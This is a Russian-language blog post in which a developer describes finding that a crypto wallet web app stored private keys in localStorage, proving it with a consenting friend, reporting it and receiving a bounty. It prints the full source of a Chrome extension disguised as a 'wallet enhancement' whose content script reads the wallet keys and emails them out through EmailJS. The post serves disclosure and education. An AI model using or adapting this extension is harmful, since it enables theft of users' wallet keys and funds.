paint-brush
Как я нашел уязвимость в криптокошельке и заработал 1000 долларовк@akrisanov
616 чтения
616 чтения

Как я нашел уязвимость в криптокошельке и заработал 1000 долларов

к Andrey Krisanov4m2023/10/25
Read on Terminal Reader

Слишком долго; Читать

👉🏻Совет разработчикам приложений: осознавайте технологии, которые вы используете, и аспекты их безопасности. 💡 Совет пользователям криптовалюты: узнайте, какие варианты безопасности предлагает вам организация, активируйте двухфакторную аутентификацию сразу после создания учетной записи кошелька, не храните все свои средства в горячих кошельках.
featured image - Как я нашел уязвимость в криптокошельке и заработал 1000 долларов
Andrey Krisanov HackerNoon profile picture
0-item
1-item
2-item

В январе 2022 года я присоединился к сообществу одного из блокчейнов с доказательством доли владения. Чтобы поиграть с тем, что предлагает протокол и его экосистема, я создал учетную запись кошелька на официальном сайте https://wallet.****.org . Помимо общего любопытства, меня интересовало, как они добились безопасности в браузере, особенно в эпоху расширений и уязвимостей на стороне клиента.


Оказалось, что когда пользователь входил в систему, приложение-кошелек (встроенное в React) генерировало набор открытых и закрытых ключей и сохраняло их в локальном хранилище браузера. Имея опыт построения аутентификации и авторизации в распределенных системах, я знал, что это не лучший вариант — в общем, расширение браузера и клиентский код легко считывают данные из локального хранилища[ 1 ].


Чтобы доказать это, я решил написать простое расширение для Chrome , которое будет получать ключи из браузера жертвы и отправлять их на мой анонимный адрес электронной почты.


Корневой каталог моего расширения Pocketpocket выглядел так:


 . ├── content.js ├── email.min.js ├── index.html └── manifest.json


Основными файлами являются manifest.json и content.js . Первое необходимо для установки расширения.


 { "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }


email.min.js — это просто клиентская библиотека одного из облачных сервисов, которая позволяет отправлять электронную почту прямо из браузера без какого-либо серверного кода. index.html — это пустая HTML-страница, на которой ничего не отображается. Логика взлома кошелька находилась в файле content.js :


 emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });

Да, такой дурацкий сценарий.


Я упаковал все четыре файла в zip-архив и любезно попросил своего друга, у которого тоже был кошелек на https://wallet.***.org , установить мое творение в его браузер (притворяясь, что занимается социальной инженерией). Прежде чем сделать это, я рассказал ему о своих открытиях и теории, которую пытался доказать. Он был рад помочь, и открытый и закрытый ключи этой учетной записи кошелька появились в моем почтовом ящике через несколько секунд после установки расширения для браузера. Затем я сохранил ключи в локальном хранилище в своем браузере и открыл сайт кошелька.


Удивительно, но мне был доступен баланс криптокошелька моего друга, а также возможность вывести средства. Во время разговора в Zoom с моим другом-жертвой я перевел часть его средств на анонимный счет и обратно. Это было потрясающе! Новый многообещающий блокчейн, который недавно завершил инвестиционный раунд, имел серьезную уязвимость в своем кошельке. Хуже всего то, что у них была двухфакторная аутентификация пользователей. Конечно, не многие люди активировали бы его сразу, а многие и не сделали этого.


Как этический разработчик, я создал отчет об уязвимостях, включая исходный код расширения браузера и свои мысли о том, как улучшить безопасность веб-приложения. Оно было отправлено прямо на адрес электронной почты службы безопасности 18 января. Несколько дней спустя мне позвонил директор по информационной безопасности протокола блокчейна, и он заверил меня, что знает о проблеме и решит ее в следующем выпуске. Я был немного разочарован скоростью реакции на инцидент. Два дня – это вечность, когда речь идет о деньгах пользователей. Тем не менее, разработчики блокчейна предоставили мне свои токены на сумму, эквивалентную 1000 USDT.


👉🏻Совет разработчикам приложений: осознавайте технологии, которые вы используете, и аспекты их безопасности.


💡 Совет пользователям криптовалюты: узнайте, какие варианты безопасности предлагает вам организация, активируйте двухфакторную аутентификацию сразу после создания учетной записи кошелька, не храните все свои средства в горячих кошельках.


Стоит прочтения


Также опубликовано здесь .